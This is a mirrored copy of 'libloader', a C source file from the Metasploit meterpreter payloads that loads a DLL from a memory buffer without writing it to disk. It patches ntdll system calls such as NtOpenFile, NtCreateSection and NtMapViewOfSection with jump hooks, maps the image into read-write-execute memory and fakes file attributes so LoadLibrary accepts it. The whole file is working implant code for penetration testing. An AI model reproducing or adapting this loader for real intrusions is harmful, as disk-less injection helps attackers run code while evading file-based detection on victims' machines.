mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-24 18:16:24 +01:00
614 lines
15 KiB
C
614 lines
15 KiB
C
/*
|
|
* libloader -- In-Memory Remote Library Injection shellcode
|
|
* Jarkko Turkulainen <jt[at]klake.org>
|
|
*
|
|
* Platforms: Windows NT4/2000/XP/2003
|
|
*
|
|
* Credits:
|
|
*
|
|
* - skape for ideas, nologin, Metasploit
|
|
*
|
|
*
|
|
* ----
|
|
*
|
|
* This is a modified version of the original that has been slightly changed
|
|
* in order to integrate it with meterpreter.
|
|
*/
|
|
#include "metsrv.h"
|
|
#include <sys/types.h>
|
|
#include <sys/stat.h>
|
|
#include <stdio.h>
|
|
|
|
#include "libloader.h"
|
|
|
|
/* NTSTATUS values */
|
|
#define STATUS_SUCCESS 0x00000000
|
|
#define STATUS_IMAGE_NOT_AT_BASE 0x40000003
|
|
|
|
/* Time values */
|
|
#define HIGH_TIME 0x01C422FA
|
|
#define LOW_TIME_1 0x7E275CE0
|
|
#define LOW_TIME_2 0x8E275CE0
|
|
|
|
/* Some defines ripped off from DDK */
|
|
typedef struct _FILE_BASIC_INFORMATION {
|
|
LARGE_INTEGER CreationTime;
|
|
LARGE_INTEGER LastAccessTime;
|
|
LARGE_INTEGER LastWriteTime;
|
|
LARGE_INTEGER ChangeTime;
|
|
ULONG FileAttributes;
|
|
} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;
|
|
|
|
typedef enum _SECTION_INFORMATION_CLASS {
|
|
SectionBasicInformation,
|
|
SectionImageInformation
|
|
} SECTION_INFORMATION_CLASS;
|
|
|
|
typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;
|
|
|
|
typedef LONG NTSTATUS;
|
|
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
|
|
|
typedef struct _IO_STATUS_BLOCK {
|
|
NTSTATUS Status;
|
|
ULONG Information;
|
|
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
|
|
|
|
typedef struct _UNICODE_STRING {
|
|
USHORT Length;
|
|
USHORT MaximumLength;
|
|
#ifdef MIDL_PASS
|
|
[size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;
|
|
#else
|
|
PWSTR Buffer;
|
|
#endif
|
|
} UNICODE_STRING;
|
|
typedef UNICODE_STRING *PUNICODE_STRING;
|
|
|
|
typedef struct _ANSI_STRING {
|
|
USHORT Length;
|
|
USHORT MaximumLength;
|
|
PWSTR Buffer;
|
|
} ANSI_STRING, *PANSI_STRING, STRING, *PSTRING;
|
|
|
|
typedef enum _SECTION_INHERIT {
|
|
ViewShare = 1,
|
|
ViewUnmap = 2
|
|
} SECTION_INHERIT;
|
|
|
|
typedef struct _OBJECT_ATTRIBUTES {
|
|
ULONG Length;
|
|
HANDLE RootDirectory;
|
|
PUNICODE_STRING ObjectName;
|
|
ULONG Attributes;
|
|
PVOID SecurityDescriptor;
|
|
PVOID SecurityQualityOfService;
|
|
} OBJECT_ATTRIBUTES;
|
|
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
|
|
|
|
typedef NTSTATUS (NTAPI *f_NtOpenSection)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES);
|
|
typedef NTSTATUS (NTAPI *f_NtQueryAttributesFile)(POBJECT_ATTRIBUTES, PFILE_BASIC_INFORMATION);
|
|
typedef void (NTAPI *f_NtOpenFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
|
|
PIO_STATUS_BLOCK, ULONG ShareAccess, ULONG);
|
|
typedef NTSTATUS (NTAPI *f_NtCreateSection)(PHANDLE, ULONG, POBJECT_ATTRIBUTES, PLARGE_INTEGER,
|
|
ULONG, ULONG, HANDLE);
|
|
typedef NTSTATUS (NTAPI *f_NtMapViewOfSection)(HANDLE, HANDLE, PVOID *, ULONG, ULONG,
|
|
PLARGE_INTEGER, PULONG, SECTION_INHERIT, ULONG, ULONG);
|
|
typedef NTSTATUS (NTAPI *f_NtClose)(HANDLE);
|
|
|
|
typedef struct _SHELLCODE_CTX {
|
|
|
|
/* Library name */
|
|
char libname[256];
|
|
int liblen;
|
|
/* Global offset */
|
|
DWORD offset;
|
|
/* Allocated memory sections */
|
|
DWORD_PTR file_address;
|
|
DWORD_PTR mapped_address;
|
|
DWORD size_map;
|
|
|
|
/* Hook stub functions */
|
|
unsigned char s_NtOpenSection[10];
|
|
unsigned char s_NtQueryAttributesFile[10];
|
|
unsigned char s_NtOpenFile[10];
|
|
unsigned char s_NtCreateSection[10];
|
|
unsigned char s_NtMapViewOfSection[10];
|
|
unsigned char s_NtClose[10];
|
|
|
|
/* Hooked functions */
|
|
DWORD NtOpenSection;
|
|
DWORD NtQueryAttributesFile;
|
|
DWORD NtOpenFile;
|
|
DWORD NtCreateSection;
|
|
DWORD NtMapViewOfSection;
|
|
DWORD NtClose;
|
|
|
|
f_NtOpenSection p_NtOpenSection;
|
|
f_NtQueryAttributesFile p_NtQueryAttributesFile;
|
|
f_NtOpenFile p_NtOpenFile;
|
|
f_NtCreateSection p_NtCreateSection;
|
|
f_NtMapViewOfSection p_NtMapViewOfSection;
|
|
f_NtClose p_NtClose;
|
|
|
|
} SHELLCODE_CTX;
|
|
|
|
SHELLCODE_CTX *ctx = NULL;
|
|
|
|
#pragma comment(lib, "ws2_32.lib")
|
|
|
|
#pragma warning(disable: 4068)
|
|
|
|
/*
|
|
* Find library name from given unicode string
|
|
*/
|
|
int find_string(SHELLCODE_CTX *ctx, UNICODE_STRING *str)
|
|
{
|
|
int i, j;
|
|
|
|
for (i = 0; i < str->Length; i++)
|
|
{
|
|
for (j = 0; j < ctx->liblen; j++)
|
|
{
|
|
if (str->Buffer[i + j] != ctx->libname[j])
|
|
break;
|
|
}
|
|
|
|
/* Match */
|
|
if (j == ctx->liblen)
|
|
return 0;
|
|
}
|
|
|
|
return 1;
|
|
}
|
|
|
|
/* NtOpenSection hook */
|
|
NTSTATUS NTAPI m_NtOpenSection(
|
|
PHANDLE SectionHandle,
|
|
ACCESS_MASK DesiredAccess,
|
|
POBJECT_ATTRIBUTES ObjectAttributes)
|
|
{
|
|
/* Find our context */
|
|
if (!find_string(ctx, ObjectAttributes->ObjectName))
|
|
{
|
|
*SectionHandle = (PHANDLE)ctx->mapped_address;
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
return ctx->p_NtOpenSection(SectionHandle, DesiredAccess,
|
|
ObjectAttributes);
|
|
}
|
|
|
|
/* NtQueryAttributesFile hook */
|
|
NTSTATUS NTAPI m_NtQueryAttributesFile(
|
|
POBJECT_ATTRIBUTES ObjectAttributes,
|
|
PFILE_BASIC_INFORMATION FileAttributes)
|
|
{
|
|
if (!find_string(ctx, ObjectAttributes->ObjectName))
|
|
{
|
|
/*
|
|
* struct PFILE_BASIC_INFORMATION must be actually filled
|
|
* with something sane, otherwise it might break something.
|
|
* The values are defined in libloader.h
|
|
*
|
|
*/
|
|
FileAttributes->CreationTime.LowPart = LOW_TIME_1;
|
|
FileAttributes->CreationTime.HighPart = HIGH_TIME;
|
|
FileAttributes->LastAccessTime.LowPart = LOW_TIME_2;
|
|
FileAttributes->LastAccessTime.HighPart = HIGH_TIME;
|
|
FileAttributes->LastWriteTime.LowPart = LOW_TIME_1;
|
|
FileAttributes->LastWriteTime.HighPart = HIGH_TIME;
|
|
FileAttributes->ChangeTime.LowPart = LOW_TIME_1;
|
|
FileAttributes->ChangeTime.HighPart = HIGH_TIME;
|
|
FileAttributes->FileAttributes = FILE_ATTRIBUTE_NORMAL;
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
return ctx->p_NtQueryAttributesFile(ObjectAttributes, FileAttributes);
|
|
}
|
|
|
|
/* NtOpenFile hook */
|
|
void NTAPI m_NtOpenFile(
|
|
PHANDLE FileHandle,
|
|
ACCESS_MASK DesiredAccess,
|
|
POBJECT_ATTRIBUTES ObjectAttributes,
|
|
PIO_STATUS_BLOCK IoStatusBlock,
|
|
ULONG ShareAccess,
|
|
ULONG OpenOptions)
|
|
{
|
|
if (!find_string(ctx, ObjectAttributes->ObjectName))
|
|
{
|
|
*FileHandle = (PVOID)ctx->mapped_address;
|
|
return;
|
|
}
|
|
|
|
ctx->p_NtOpenFile(
|
|
FileHandle,
|
|
DesiredAccess,
|
|
ObjectAttributes,
|
|
IoStatusBlock,
|
|
ShareAccess,
|
|
OpenOptions);
|
|
|
|
return;
|
|
}
|
|
|
|
/* NtCreateSection hook */
|
|
NTSTATUS NTAPI m_NtCreateSection(
|
|
PHANDLE SectionHandle,
|
|
ULONG DesiredAccess,
|
|
POBJECT_ATTRIBUTES ObjectAttributes,
|
|
PLARGE_INTEGER MaximumSize,
|
|
ULONG PageAttributes,
|
|
ULONG SectionAttributes,
|
|
HANDLE FileHandle)
|
|
{
|
|
if (FileHandle == (HANDLE)ctx->mapped_address)
|
|
{
|
|
*SectionHandle = (PVOID)ctx->mapped_address;
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
return ctx->p_NtCreateSection(
|
|
SectionHandle,
|
|
DesiredAccess,
|
|
ObjectAttributes,
|
|
MaximumSize,
|
|
PageAttributes,
|
|
SectionAttributes,
|
|
FileHandle);
|
|
}
|
|
|
|
|
|
/* NtMapViewOfSection hook */
|
|
NTSTATUS NTAPI m_NtMapViewOfSection(
|
|
HANDLE SectionHandle,
|
|
HANDLE ProcessHandle,
|
|
PVOID *BaseAddress,
|
|
ULONG ZeroBits,
|
|
ULONG CommitSize,
|
|
PLARGE_INTEGER SectionOffset,
|
|
PULONG ViewSize,
|
|
SECTION_INHERIT InheritDisposition,
|
|
ULONG AllocationType,
|
|
ULONG Protect)
|
|
{
|
|
if (SectionHandle == (HANDLE)ctx->mapped_address)
|
|
{
|
|
*BaseAddress = (PVOID)ctx->mapped_address;
|
|
*ViewSize = ctx->size_map;
|
|
|
|
/* We assume that the image must be relocated */
|
|
return STATUS_IMAGE_NOT_AT_BASE;
|
|
}
|
|
|
|
return ctx->p_NtMapViewOfSection(
|
|
SectionHandle,
|
|
ProcessHandle,
|
|
BaseAddress,
|
|
ZeroBits,
|
|
CommitSize,
|
|
SectionOffset,
|
|
ViewSize,
|
|
InheritDisposition,
|
|
AllocationType,
|
|
Protect);
|
|
}
|
|
|
|
/* NtClose hook */
|
|
NTSTATUS NTAPI m_NtClose(
|
|
HANDLE Handle)
|
|
{
|
|
|
|
if (Handle == (HANDLE)ctx->mapped_address)
|
|
{
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
return ctx->p_NtClose(Handle);
|
|
}
|
|
|
|
/* Patch given function */
|
|
void patch_function(SHELLCODE_CTX *ctx, UINT_PTR address, unsigned char *stub,
|
|
unsigned char *hook)
|
|
{
|
|
DWORD protect;
|
|
ULONG bytes;
|
|
SIZE_T written;
|
|
MEMORY_BASIC_INFORMATION mbi_thunk;
|
|
|
|
/*
|
|
* Most native NT functions begin with stub like this:
|
|
*
|
|
* 00000000 B82B000000 mov eax,0x2b ; syscall
|
|
* 00000005 8D542404 lea edx,[esp+0x4] ; arguments
|
|
* 00000009 CD2E int 0x2e ; interrupt
|
|
*
|
|
* In offset 0, the actual system call is saved in eax. Syscall
|
|
* is 32 bit number (!) so we can assume 5 bytes of preamble size
|
|
* for each function.. If there's need to hook other functions,
|
|
* a complete disassembler is needed for preamble size counting.
|
|
*
|
|
*/
|
|
bytes = 5;
|
|
|
|
/* Create the stub */
|
|
WriteProcessMemory((HANDLE)-1, stub, (LPVOID)address,
|
|
bytes, &written);
|
|
*(PBYTE)(stub + bytes) = 0xE9;
|
|
*(DWORD *)(stub + bytes + 1) = (DWORD)((DWORD_PTR)address - ((DWORD_PTR)stub + 5));
|
|
|
|
/* Patch original function */
|
|
|
|
/* Fix protection */
|
|
VirtualQuery((LPVOID)address, &mbi_thunk,
|
|
sizeof(MEMORY_BASIC_INFORMATION));
|
|
VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
|
|
PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect);
|
|
|
|
/* Insert jump */
|
|
*(PBYTE)address = 0xE9;
|
|
*(DWORD *)(address + 1) = (DWORD)((DWORD_PTR)hook - ((DWORD_PTR)address + 5));
|
|
|
|
|
|
/* Restore protection */
|
|
VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
|
|
mbi_thunk.Protect, &protect);
|
|
FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress,
|
|
mbi_thunk.RegionSize);
|
|
|
|
}
|
|
|
|
/* Install hooks, fix addresses */
|
|
void install_hooks(SHELLCODE_CTX *ctx)
|
|
{
|
|
f_NtMapViewOfSection lNtMapViewOfSection;
|
|
f_NtQueryAttributesFile lNtQueryAttributesFile;
|
|
f_NtOpenFile lNtOpenFile;
|
|
f_NtCreateSection lNtCreateSection;
|
|
f_NtOpenSection lNtOpenSection;
|
|
f_NtClose lNtClose;
|
|
HMODULE ntdll;
|
|
|
|
if (!(ntdll = LoadLibrary(TEXT("ntdll"))))
|
|
{
|
|
return;
|
|
}
|
|
|
|
lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
|
|
lNtQueryAttributesFile = (f_NtQueryAttributesFile)GetProcAddress(ntdll, "NtQueryAttributesFile");
|
|
lNtOpenFile = (f_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile");
|
|
lNtCreateSection = (f_NtCreateSection)GetProcAddress(ntdll, "NtCreateSection");
|
|
lNtOpenSection = (f_NtOpenSection)GetProcAddress(ntdll, "NtOpenSection");
|
|
lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose");
|
|
|
|
/* NtMapViewOfSection */
|
|
|
|
/* Patch */
|
|
patch_function(ctx, (UINT_PTR)lNtMapViewOfSection,
|
|
ctx->s_NtMapViewOfSection,
|
|
(unsigned char *)m_NtMapViewOfSection);
|
|
|
|
/* Copy pointer */
|
|
ctx->p_NtMapViewOfSection =
|
|
(f_NtMapViewOfSection)ctx->s_NtMapViewOfSection;
|
|
|
|
/* NtQueryAttributesFile */
|
|
patch_function(ctx, (UINT_PTR)lNtQueryAttributesFile,
|
|
ctx->s_NtQueryAttributesFile,
|
|
(unsigned char *)m_NtQueryAttributesFile);
|
|
ctx->p_NtQueryAttributesFile =
|
|
(f_NtQueryAttributesFile)ctx->s_NtQueryAttributesFile;
|
|
|
|
/* NtOpenFile */
|
|
patch_function(ctx, (UINT_PTR)lNtOpenFile, ctx->s_NtOpenFile,
|
|
(unsigned char *)m_NtOpenFile);
|
|
ctx->p_NtOpenFile = (f_NtOpenFile)ctx->s_NtOpenFile;
|
|
|
|
/* NtCreateSection */
|
|
patch_function(ctx, (UINT_PTR)lNtCreateSection, ctx->s_NtCreateSection,
|
|
(unsigned char *)m_NtCreateSection);
|
|
ctx->p_NtCreateSection = (f_NtCreateSection)ctx->s_NtCreateSection;
|
|
|
|
/* NtOpenSection */
|
|
patch_function(ctx, (UINT_PTR)lNtOpenSection, ctx->s_NtOpenSection,
|
|
(unsigned char *)m_NtOpenSection);
|
|
ctx->p_NtOpenSection = (f_NtOpenSection)ctx->s_NtOpenSection;
|
|
|
|
/* NtClose */
|
|
patch_function(ctx, (UINT_PTR)lNtClose, ctx->s_NtClose,
|
|
(unsigned char *)m_NtClose);
|
|
ctx->p_NtClose = (f_NtClose)ctx->s_NtClose;
|
|
|
|
}
|
|
|
|
/* Restore given function */
|
|
void restore_function(SHELLCODE_CTX *ctx, DWORD_PTR address, unsigned char *stub)
|
|
{
|
|
DWORD protect;
|
|
ULONG bytes;
|
|
SIZE_T written;
|
|
MEMORY_BASIC_INFORMATION mbi_thunk;
|
|
|
|
bytes = 5;
|
|
|
|
/* Patch original function */
|
|
|
|
/* Fix protection */
|
|
VirtualQuery((LPVOID)address, &mbi_thunk,
|
|
sizeof(MEMORY_BASIC_INFORMATION));
|
|
VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
|
|
PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect);
|
|
|
|
/* Copy bytes back to function */
|
|
WriteProcessMemory((HANDLE)-1, (LPVOID)address, stub,
|
|
bytes, &written);
|
|
|
|
/* Restore protection */
|
|
VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
|
|
mbi_thunk.Protect, &protect);
|
|
FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress,
|
|
mbi_thunk.RegionSize);
|
|
|
|
}
|
|
|
|
/* Remove hooks */
|
|
void remove_hooks(SHELLCODE_CTX *ctx)
|
|
{
|
|
f_NtMapViewOfSection lNtMapViewOfSection;
|
|
f_NtQueryAttributesFile lNtQueryAttributesFile;
|
|
f_NtOpenFile lNtOpenFile;
|
|
f_NtCreateSection lNtCreateSection;
|
|
f_NtOpenSection lNtOpenSection;
|
|
f_NtClose lNtClose;
|
|
HMODULE ntdll;
|
|
|
|
if (!(ntdll = LoadLibraryA("ntdll")))
|
|
{
|
|
return;
|
|
}
|
|
|
|
lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
|
|
lNtQueryAttributesFile = (f_NtQueryAttributesFile)GetProcAddress(ntdll, "NtQueryAttributesFile");
|
|
lNtOpenFile = (f_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile");
|
|
lNtCreateSection = (f_NtCreateSection)GetProcAddress(ntdll, "NtCreateSection");
|
|
lNtOpenSection = (f_NtOpenSection)GetProcAddress(ntdll, "NtOpenSection");
|
|
lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose");
|
|
|
|
/* NtMapViewOfSection */
|
|
restore_function(ctx, (DWORD_PTR)lNtMapViewOfSection,
|
|
ctx->s_NtMapViewOfSection);
|
|
|
|
/* NtQueryAttributesFile */
|
|
restore_function(ctx, (DWORD_PTR)lNtQueryAttributesFile,
|
|
ctx->s_NtQueryAttributesFile);
|
|
|
|
/* NtOpenFile */
|
|
restore_function(ctx, (DWORD_PTR)lNtOpenFile, ctx->s_NtOpenFile);
|
|
|
|
/* NtCreateSection */
|
|
restore_function(ctx, (DWORD_PTR)lNtCreateSection, ctx->s_NtCreateSection);
|
|
|
|
/* NtOpenSection */
|
|
restore_function(ctx, (DWORD_PTR)lNtOpenSection, ctx->s_NtOpenSection);
|
|
|
|
/* NtClose */
|
|
restore_function(ctx, (DWORD_PTR)lNtClose, ctx->s_NtClose);
|
|
}
|
|
|
|
/* Map file in memory as section */
|
|
void map_file(SHELLCODE_CTX *ctx)
|
|
{
|
|
PIMAGE_NT_HEADERS nt;
|
|
PIMAGE_DOS_HEADER dos;
|
|
PIMAGE_SECTION_HEADER sect;
|
|
int i;
|
|
|
|
dos = (PIMAGE_DOS_HEADER)ctx->file_address;
|
|
nt = (PIMAGE_NT_HEADERS)(ctx->file_address + dos->e_lfanew);
|
|
|
|
/*
|
|
* Allocate space for the mapping
|
|
* First, try to map the file at ImageBase
|
|
*
|
|
*/
|
|
ctx->mapped_address = (DWORD_PTR)VirtualAlloc((PVOID)nt->OptionalHeader.ImageBase,
|
|
nt->OptionalHeader.SizeOfImage,
|
|
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
|
|
|
|
/* No success, let the system decide.. */
|
|
if (ctx->mapped_address == 0) {
|
|
ctx->mapped_address = (DWORD_PTR)VirtualAlloc((PVOID)NULL,
|
|
nt->OptionalHeader.SizeOfImage,
|
|
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
|
|
}
|
|
|
|
ctx->size_map = nt->OptionalHeader.SizeOfImage;
|
|
|
|
/* Lock the mapping in memory */
|
|
{
|
|
ULONG (_stdcall *NtLockVirtualMemory)(HANDLE, PVOID *, PULONG, ULONG);
|
|
|
|
NtLockVirtualMemory = (ULONG (_stdcall *)(HANDLE, PVOID *, PULONG, ULONG))GetProcAddress(
|
|
GetModuleHandleA("ntdll"),
|
|
"NtLockVirtualMemory");
|
|
|
|
if (NtLockVirtualMemory)
|
|
{
|
|
PVOID base = (PVOID)ctx->mapped_address;
|
|
ULONG sz = nt->OptionalHeader.SizeOfImage;
|
|
|
|
NtLockVirtualMemory(
|
|
(HANDLE)-1,
|
|
&base,
|
|
&sz,
|
|
1);
|
|
}
|
|
}
|
|
|
|
/* Write headers */
|
|
WriteProcessMemory((HANDLE)-1, (LPVOID)ctx->mapped_address,
|
|
(LPVOID)ctx->file_address, nt->OptionalHeader.SizeOfHeaders, 0);
|
|
|
|
/* Write sections */
|
|
sect = IMAGE_FIRST_SECTION(nt);
|
|
for (i = 0; i < nt->FileHeader.NumberOfSections; i++) {
|
|
WriteProcessMemory((HANDLE)-1,
|
|
(PCHAR)ctx->mapped_address + sect[i].VirtualAddress,
|
|
(PCHAR)ctx->file_address + sect[i].PointerToRawData,
|
|
sect[i].SizeOfRawData, 0);
|
|
}
|
|
|
|
}
|
|
|
|
/*
|
|
* Load a library in-memory from the provided buffer.
|
|
*/
|
|
HMODULE libloader_load_library(LPCSTR name, PUCHAR buffer, DWORD bufferLength)
|
|
{
|
|
LPCSTR shortName = name, slash = NULL;
|
|
HMODULE mod = NULL;
|
|
|
|
if ((slash = strrchr(name, '\\')))
|
|
shortName = slash+1;
|
|
|
|
ctx = (SHELLCODE_CTX *)VirtualAlloc(
|
|
NULL,
|
|
sizeof(SHELLCODE_CTX),
|
|
MEM_COMMIT,
|
|
PAGE_EXECUTE_READWRITE);
|
|
|
|
if (!ctx)
|
|
return NULL;
|
|
|
|
install_hooks(ctx);
|
|
|
|
do
|
|
{
|
|
// The name of the library to load it as
|
|
strncpy_s(ctx->libname, sizeof(ctx->libname), shortName, sizeof(ctx->libname) - 1);
|
|
ctx->liblen = (int)strlen(ctx->libname) + 1;
|
|
|
|
// The address of the raw buffer
|
|
ctx->file_address = (DWORD_PTR)buffer;
|
|
|
|
// Map the buffer into memory
|
|
map_file(ctx);
|
|
|
|
// Load the fake library
|
|
if (!(mod = LoadLibraryA(ctx->libname)))
|
|
{
|
|
break;
|
|
}
|
|
|
|
} while (0);
|
|
|
|
remove_hooks(ctx);
|
|
|
|
VirtualFree(ctx, 0, MEM_RELEASE);
|
|
|
|
return mod;
|
|
}
|